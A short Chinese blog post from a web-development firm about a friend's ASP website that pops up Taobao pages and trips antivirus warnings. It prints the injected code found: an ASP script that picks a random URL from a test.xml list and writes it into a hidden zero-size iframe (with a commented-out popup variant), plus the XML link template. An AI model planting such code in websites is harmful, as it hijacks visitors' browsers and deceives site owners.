龙岩易富通网络科技有限公司

龙岩小程序开发,龙岩分销系统

asp网站挂黑链

2015.09.10 | 733阅读 | 0条评论 | 未命名

今天龙岩seo的一个朋友说他网站是不是中毒了,既然会弹出淘宝的网站,我试着访问下他的网站,除了弹出淘宝网站以外,杀毒软件会弹出警告信息。 我看了代码,有一段代码好可疑,隐藏深。 ASP文件: [php] <% Option Explicit Response.Buffer = True Dim xml dim conu,dd dd=0 Randomize Set xml = Server.CreateObject("Microsoft.XMLDOM") xml.async = False xml.load (Server.MapPath("test.xml")) Dim title, heading, paragraph, testHTML title = xml.documentElement.childNodes(Int((100 * Rnd) + 1) ).text Set xml = Nothing response.write "document.write(""<iframe src='"&title&"' width='0' height='0'></iframe>"");" 'response.write "window.open ('"&title&"', 'newwindow', 'height=300, width=400, top=250, left=300,toolbar=no, menubar=no, scrollbars=no, resizable=no,location=n o, status=no');" %> [/php] 大概意思是随处产生test.xml文件下的链接。 test.xml文件: [php]</pre> <?xml version="1.0" encoding="gb2312"?> <bookstore> <link>链接地址</link> <link>链接地址</link> <link>链接地址</link> <link>链接地址</link> <link>链接地址</link> </bookstore> [/php] 其中链接地址就是外链的地址要多少个地址直接写多少个。

赞 (

发表评论